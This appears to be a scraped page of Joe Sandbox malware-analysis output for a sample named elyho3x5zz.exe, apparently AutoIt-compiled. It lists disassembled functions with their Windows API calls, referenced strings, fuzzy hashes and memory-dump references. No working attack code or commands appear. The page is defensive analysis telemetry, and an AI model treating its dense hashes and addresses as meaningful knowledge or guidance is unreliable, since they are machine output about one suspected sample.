Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
Instruction ID: c3f8d708dcd3a055c0c8e1e1bc3d233487f00ccd1e674a59cdcf886de172f9f5
Opcode Fuzzy Hash: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
Instruction Fuzzy Hash: 00E0E520A2E71286FF009F62AE5C6783259AF88FC2F014030CD0E97B95DF7CE005A302

Function 00007FF629273287 Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF629273287
GetDC.USER32 ref: 00007FF629273293
GetDeviceCaps.GDI32 ref: 00007FF6292732A4
ReleaseDC.USER32 ref: 00007FF6292732C5

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
Instruction ID: b3e4abc6312ed3e29a79e3d242312c3d2cbc5bac88662b098f1d87564a508675
Opcode Fuzzy Hash: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
Instruction Fuzzy Hash: ABE07560A2A75286FF049F629E585683259AB89FD2B014034CD0E97B95DF7DE105A701

Function 00007FF62924CC78 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 245COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62924CCDC

Strings

gfffffff, xrefs: 00007FF62924CF6A

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: gfffffff
API String ID: 3215553584-1523873471
Opcode ID: dc31ed7580b08dc4a7b229eebc0aac3b305a5916052008eb2c70828ae2249d51
Instruction ID: 77b555ef290c1a6fce861961fb30e30efa94a83736893101fdedb75c851ad563
Opcode Fuzzy Hash: dc31ed7580b08dc4a7b229eebc0aac3b305a5916052008eb2c70828ae2249d51
Instruction Fuzzy Hash: E9914962B1A38686FF15CF29AA403B87B55AB95BC0F04A131CB8D87395DF3DE111D712

Function 00007FF629281D10 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 200comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32 ref: 00007FF629281F50

Strings

Container, xrefs: 00007FF629281E83
AutoIt3GUI, xrefs: 00007FF629281E7C

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: ec532330f33b0a9812ac3d9e654419ff88b42a82dbb45e6ba561f09289b70eff
Instruction ID: 5c146465b8526738dea9d9fd46d0dca31bd882e31ff85a101f5e82fb8c8b0586
Opcode Fuzzy Hash: ec532330f33b0a9812ac3d9e654419ff88b42a82dbb45e6ba561f09289b70eff
Instruction Fuzzy Hash: 2B915736615B4282EB28DF29E9806AD73A4FB88F84F518036CF8D83765EF39D855D301

Function 00007FF62924D0A8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62924D0EB

Strings

e+000, xrefs: 00007FF62924D193
gfff, xrefs: 00007FF62924D216

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
Instruction ID: 9b8005ad6ce783eee4f9addc07b393112080be695c46f070f586794078c08f79
Opcode Fuzzy Hash: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
Instruction Fuzzy Hash: CE510762B297C146FB258F359E403697A91EBC1B90F48A231CA9CC7AD6CF2CE445DB01

Function 00007FF62924A09C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62924A0C6
GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF62923529A), ref: 00007FF62924A0E2

Strings

C:\Users\user\Desktop\elyho3x5zz.exe, xrefs: 00007FF62924A0D0

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\elyho3x5zz.exe
API String ID: 3307058713-219561336
Opcode ID: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
Instruction ID: 37c92bf58e9f7a9a3f2da40b8717e1eb88b8c3cf8d8555f0e57c2b5443955dd7
Opcode Fuzzy Hash: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
Instruction Fuzzy Hash: 1E419E36A2AA5285FF14DF25AE400BD77A4EF84B94B546036ED0E87B45DF3CE481EB01

Function 00007FF6292B9E08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62921932C: CreateWindowExW.USER32 ref: 00007FF6292193BC
Part of subcall function 00007FF62921932C: GetStockObject.GDI32 ref: 00007FF6292193D9
Part of subcall function 00007FF62921932C: SendMessageW.USER32 ref: 00007FF6292193EC

DestroyWindow.USER32 ref: 00007FF6292B9F43

Strings

static, xrefs: 00007FF6292B9E54

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$CreateDestroyMessageObjectSendStock
String ID: static
API String ID: 3467290483-2160076837
Opcode ID: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
Instruction ID: 6a1031eac9b727721f3cb31d674cc8050dfe76f3c72ec9ebc54f2b6575988de3
Opcode Fuzzy Hash: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
Instruction Fuzzy Hash: 8B413936518AC286EB709F21E9407AEB7A1FB84790F104235EBE943A99DF3CD481DB41

Function 00007FF6292A5E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6292A61CC: WideCharToMultiByte.KERNEL32 ref: 00007FF6292A620C

inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF6292A37FB), ref: 00007FF6292A5E4D
htons.WSOCK32(?,?,?,?,?,?,?,00007FF6292A37FB), ref: 00007FF6292A5EDB

Strings

255.255.255.255, xrefs: 00007FF6292A5E6A

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: e55c8c587f1448b1a4207f66a752895f1a07630204b4ee05391494375fe3cc25
Instruction ID: 1f2eebe12a72f8ed73fe0d9b5375dd4dfb81e34c9178dbae6937aec47a4993b2
Opcode Fuzzy Hash: e55c8c587f1448b1a4207f66a752895f1a07630204b4ee05391494375fe3cc25
Instruction Fuzzy Hash: 8631BC63A2A64281FF108F22EE5067D37A4FB94B94F058531DA5E83391DF3DD546A302

Function 00007FF6292A03C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6292A045A

Strings

, $, xrefs: 00007FF6292A0495
AUTOITCALLVARIABLE%d, xrefs: 00007FF6292A044A

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _snwprintf
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3988819677-2584243854
Opcode ID: c7e08f6a60c99c5d777c2b71318a0fa50eea3cb020f88eb0f1ff8c1330ae95ab
Instruction ID: 5a335f422adf2e8ab22a8443fa62ac59d645ba75e9ab9993d054e8f36329dc7a
Opcode Fuzzy Hash: c7e08f6a60c99c5d777c2b71318a0fa50eea3cb020f88eb0f1ff8c1330ae95ab
Instruction Fuzzy Hash: C8316876A1AA0295FF24DF60E9901EC3361FB89784B404032DE0D9776ADF38E41AE342

Function 00007FF6292BB224 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62921932C: CreateWindowExW.USER32 ref: 00007FF6292193BC
Part of subcall function 00007FF62921932C: GetStockObject.GDI32 ref: 00007FF6292193D9
Part of subcall function 00007FF62921932C: SendMessageW.USER32 ref: 00007FF6292193EC

SetWindowPos.USER32 ref: 00007FF6292BB31B

Strings

, xrefs: 00007FF6292BB2FE
SysTabControl32, xrefs: 00007FF6292BB278

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$CreateMessageObjectSendStock
String ID: $SysTabControl32
API String ID: 2080134422-3143400907
Opcode ID: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
Instruction ID: f727f8ce9d9a43d2b012ad494136707cbda3f63cb1cd6184edab574508f559ce
Opcode Fuzzy Hash: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
Instruction Fuzzy Hash: 263148325197C1CAEB60CF25E84479AB7A0F784BA4F144339EAA957AD8CF38D491CF40

Function 00007FF62924DC30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF62924DCA2
GetFileType.KERNEL32 ref: 00007FF62924DCB8

Strings

@, xrefs: 00007FF62924DCE3

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
Instruction ID: b243cbd200ad644a7ceb669eca1948b37da0812492e760a2063c35d49ef6ae07
Opcode Fuzzy Hash: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
Instruction Fuzzy Hash: CF21E522A29A4281FF608F24DE901383650EFC5B74F242335D66E837D4CF38E881E702

Function 00007FF6292BA0C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62921932C: CreateWindowExW.USER32 ref: 00007FF6292193BC
Part of subcall function 00007FF62921932C: GetStockObject.GDI32 ref: 00007FF6292193D9
Part of subcall function 00007FF62921932C: SendMessageW.USER32 ref: 00007FF6292193EC

GetWindowRect.USER32 ref: 00007FF6292BA18B
GetSysColor.USER32 ref: 00007FF6292BA1B2

Strings

static, xrefs: 00007FF6292BA10B

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
Instruction ID: 2173c24c6d82c86b6df5b647075c485bea45818d696b565e9538b24f0657baa1
Opcode Fuzzy Hash: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
Instruction Fuzzy Hash: CD315B32A187818BE764CF29E840B5AB7A5F788750F104239DB9943B98CF38E441CF00

Function 00007FF6292B9868 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62921932C: CreateWindowExW.USER32 ref: 00007FF6292193BC
Part of subcall function 00007FF62921932C: GetStockObject.GDI32 ref: 00007FF6292193D9
Part of subcall function 00007FF62921932C: SendMessageW.USER32 ref: 00007FF6292193EC

SendMessageW.USER32 ref: 00007FF6292B994F
SendMessageW.USER32 ref: 00007FF6292B9963

Strings

Combobox, xrefs: 00007FF6292B9905

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Combobox
API String ID: 1025951953-2096851135
Opcode ID: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
Instruction ID: 53bd042065136685765722b407d6e3195ed1ef996e19f67201e9e945be9c3ed4
Opcode Fuzzy Hash: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
Instruction Fuzzy Hash: 923127366197818AE7709F24F854B5AB7A1F789790F504239EAAC43B99CF3DD881CB01

Function 00007FF6292B9BD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF6292B9CB6
SendMessageW.USER32 ref: 00007FF6292B9CCA

Strings

edit, xrefs: 00007FF6292B9C24

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
Instruction ID: aaa45d6df45eafd37d6fca2cff63e5615af9c68980837e0337ccb10007dd6821
Opcode Fuzzy Hash: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
Instruction Fuzzy Hash: 38311C35A19B81CAEB60CF15E85475AB7A1F7C9790F144235EA9883B98DF3CD881CF01

Function 00007FF62924FD90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF62924FEA2

Strings

", xrefs: 00007FF62924FE7B
pow, xrefs: 00007FF62924FE91

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _handle_error
String ID: "$pow
API String ID: 1757819995-713443511
Opcode ID: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
Instruction ID: 9a6fd54497fe0a479cdee4d69725e6317261351a8ffd9cfd82c348897a4ef1d8
Opcode Fuzzy Hash: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
Instruction Fuzzy Hash: 08214C72D28A8587E770CF10F8406AABAA0FBDE345F202335F68946955CFBDD181AF01

Function 00007FF62927DDF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629280730: GetClassNameW.USER32 ref: 00007FF62928075B

SendMessageW.USER32 ref: 00007FF62927DE7F

Strings

ListBox, xrefs: 00007FF62927DE42
ComboBox, xrefs: 00007FF62927DE0B

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 97deb16edf8e784fc52f0d006fa99df0b5c043f3f1d7c65ec9baf9ca6ee38585
Instruction ID: 3140c51c64e7817e9c92b6c8ef4ccad9bd62baf758c0d03a063dff231be62cea
Opcode Fuzzy Hash: 97deb16edf8e784fc52f0d006fa99df0b5c043f3f1d7c65ec9baf9ca6ee38585
Instruction Fuzzy Hash: 1F110562A2A78182FA10DF10DA410E933A0FFC5BA0F454231DAAC877DADF3CD105D701

Function 00007FF62927DCA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629280730: GetClassNameW.USER32 ref: 00007FF62928075B

SendMessageW.USER32 ref: 00007FF62927DD26

Strings

ListBox, xrefs: 00007FF62927DCEA
ComboBox, xrefs: 00007FF62927DCB5

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 2b6fed8ad632b1f274e203d646578af3038472905804e24f6343927dca18ccae
Instruction ID: 3217fd70fa83baf5105074e44d8539619b1027e464d02bcf90d2686d29ee04d0
Opcode Fuzzy Hash: 2b6fed8ad632b1f274e203d646578af3038472905804e24f6343927dca18ccae
Instruction Fuzzy Hash: B511B662A2A68191FF10DF10EA512F97360FFC9780F844131D68C8769ADF2CD605DB11

Function 00007FF62927DD48 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629280730: GetClassNameW.USER32 ref: 00007FF62928075B

SendMessageW.USER32 ref: 00007FF62927DDCE

Strings

ListBox, xrefs: 00007FF62927DD92
ComboBox, xrefs: 00007FF62927DD5D

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: d39c91620d6c6e447856c574b1c807ce734865e57223a48666476f59d2f3e294
Instruction ID: ecfeff6b72f8c1c629f12c8b557e67c7f681ef791da0cd83f57555248a491395
Opcode Fuzzy Hash: d39c91620d6c6e447856c574b1c807ce734865e57223a48666476f59d2f3e294
Instruction Fuzzy Hash: 40119022A2A68191FF10EB10EA512F93360FFC6780F484131DA9D87A9ADF2CD2059B01

Function 00007FF62929E708 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF62929E772
InternetSetOptionW.WININET ref: 00007FF62929E7A4

Strings

<local>, xrefs: 00007FF62929E749

Memory Dump Source

